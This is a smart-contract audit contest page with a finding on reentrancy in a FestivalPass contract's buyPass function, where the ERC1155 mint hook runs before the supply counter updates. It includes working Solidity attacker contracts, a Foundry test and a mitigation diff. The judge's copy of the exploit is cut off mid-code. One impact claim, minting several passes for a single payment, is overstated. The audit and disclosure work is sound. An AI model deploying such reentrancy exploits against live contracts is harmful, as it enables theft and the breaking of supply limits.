Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

ERC1155 _mint Hook Reentrancy Allows State Manipulation of passSupply Counter

Root + Impact

Description

  • The buyPass function allows a user to purchase a pass for a given collectionId by sending ETH. On execution, the contract mints an ERC1155 token to the caller and then updates the internal passSupply counter.

    The issue is that _mint triggers the ERC1155 receiver hook (onERC1155Received) if the recipient is a smart contract. This introduces a potential reentrancy window because external code is executed before the contract finishes updating its internal state.

// Root cause in the codebase with @> marks to highlight the relevant section
function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(
collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS,
"Invalid pass ID"
);
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
// @audit possible reentrancy
@> _mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Risk

Likelihood:

  • The vulnerability occurs whenever the msg.sender is a smart contract implementing IERC1155Receiver, because _mint calls into external code via the ERC1155 hook.

  • A malicious receiver contract can re-enter buyPass during the mint callback and manipulate execution before passSupply is updated.

Impact:

  • State inconsistency: passSupply[collectionId] can be bypassed or inflated because multiple reentrant calls may mint passes before the counter updates.

  • Economic abuse: If payment logic or supply caps exist (not shown here), an attacker can repeatedly mint passes for a single payment or exceed intended limits.

  • Protocol invariants break: Any logic relying on passSupply for supply control, pricing tiers, or scarcity guarantees becomes unreliable.

Proof of Concept

Attacker calls attack(collectionId)

  • Victim executes buyPass

  • _mint() triggers onERC1155Received

  • Attacker re-enters buyPass() inside callback

  • Second mint happens before passSupply++ executes

  • Final result:

    • Multiple passes minted per single intended flow

    • passSupply becomes inaccurate or bypassed

contract Attacker is IERC1155Receiver {
FestivalPass public target;
uint256 public reentryCount;
uint256 public constant PRICE = 0.05 ether;
uint256 public constant MAX_REENTRIES = 3;
constructor(address _target) {
target = FestivalPass(_target);
}
function attack(uint256 id) external payable {
require(msg.value >= PRICE * (MAX_REENTRIES + 1), "Not enough ETH");
target.buyPass{value: PRICE}(id);
}
function onERC1155Received(address, address, uint256 id, uint256, bytes calldata) external returns (bytes4) {
if (reentryCount < MAX_REENTRIES) {
++reentryCount;
target.buyPass{value: PRICE}(id);
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata)
external
pure
returns (bytes4)
{
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
receive() external payable {}
}
function test_ReentrancyAttack() public {
// Fund attacker contract
vm.deal(address(attacker), 1 ether);
// Execute attack from malicious contract
attacker.attack{value: 0.2 ether}(1);
console.log("Attacker balance of pass:", festivalPass.balanceOf(address(attacker), 1));
console.log("Reentry count:", attacker.reentryCount());
}

Recommended Mitigation

1. Follow Checks-Effects-Interactions (CEI)

Move all internal state updates before making any external calls (including _mint, since it triggers external execution via IERC1155Receiver).

2. Add a Reentrancy Guard

Since ERC1155 hooks execute external code, a guard provides a strong second layer of defense.


- _mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
+ // Effects: update state before external interaction
+ ++passSupply[collectionId];
+
+ // Interaction: external call
+ _mint(msg.sender, collectionId, 1, "");
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!